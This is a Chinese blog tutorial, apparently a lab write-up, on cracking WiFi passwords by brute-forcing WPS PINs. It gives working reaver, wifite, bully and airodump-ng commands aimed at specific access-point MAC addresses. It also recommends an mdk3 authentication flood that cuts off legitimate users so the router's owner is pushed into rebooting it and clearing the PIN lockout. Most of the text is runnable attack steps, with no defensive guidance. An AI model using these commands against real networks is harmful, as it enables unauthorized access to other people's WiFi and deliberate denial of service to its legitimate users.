WIFI密码破解之WPS加密

Gryffinbit

实验物联网

发布于：2021年5月5日

次浏览

​ 实验原理：WPS（Wi-Fi Protected Setup）是由Wi-Fi联盟组织实施的可选认证项目，主要是为了简化无线局域网安全及安全性能的配置工作。用户只需要简单按下路由器上的WPS按钮或者输入PIN码，即可快速连接到Wi-Fi网络。
​ WPS PIN码共8位，其中第8位是校验和，所以只需计算出前7位即可。在实施PIN破解时，可以分别判断PIN的前四位和后三位是否正确。因此，PIN码只有10^4+10^3=11000种变化。
​ 那么在实际破解尝试中，最多只需试验11000次，平均只需试验5500次就能破解。

reaver

1. 开启无线网卡的监听模式

airmon-ng start wlan0

2.使用wash工具扫描开启WPS的AP

wash -i wlan0mon 

查看有WPS功能的AP

airodump-ng --wps wlan0mon

3. 使用reaver工具进行破解

Reaver是一款暴力破解PIN码的工具，将尝试一系列的PIN码，直到破解出正确的PIN码，而且还可以恢复出WPA/WPA2密码。其语法格式如下：

reaver -i [interface] -b [ap的mac地址] 

可以使用reaver --help查看帮助文档。

参数说明：

reaver -i wlan0mon -b 18:D9:8F:66:CD:7C -v -S

以“kong”作为攻击目标

使用指定PIN码进行破解，以“Netsec109_2”作为攻击目标

reaver -i wlan0mon -b 64:09:80:17:ED:2F -p 1234 -vv  -S

wifite

​ wifite是一款自动化WEP、WPA和 WPS破解工具。用于破解WPS加密的语法格式如下：

wifite --wps --wps-only --bully

wifite --wps --wps-only --bully --ignore-locks

选择一个想要攻击的编号

Bully

Bully也是一款利用路由器的WPS漏洞来破解WIFI的工具。其语法格式如下：

bully --bssid  [AP的MAC地址]  -c [channel] [interface] -vv

bully --bssid 18:D9:8F:66:CD:7C wlan0mon -c 11

以“kong”作为攻击目标

防止锁PIN

​ 目前，大部分路由器都自带防PIN功能。当穷举PIN码暴力破解时，连续使用超过特定次数的PIN码后，路由器会暂时锁定WPS功能一段时间。这种情况，需要耐心等待其恢复WPS功能。也可以使用mdk3发起洪水攻击，使得路由器合法用户无法使用网络，从而迫使路由器主人重启路由器，即可解除PIN锁。
​ AP认证洪水攻击，就是向AP发送大量虚假的连接请求。当发送的请求超过AP所能承受的范围时，AP就会自动断开现有连接，使得合法用户无法使用网络。其语法格式如下：

mdk3 <interface>  a  <test_options>

mdk3 wlan0mon a -a 18:D9:8F:66:CD:7C

使用airodump-ng监测，可以看到界面下方瞬间出现了大量的伪造客户端，且连接的目标AP均为”18:D9:8F:66:CD:7C”。

airodump-ng wlan0mon -c 11 --bssid 18:D9:8F:66:CD:7C

更新于：2023年1月17日

WPS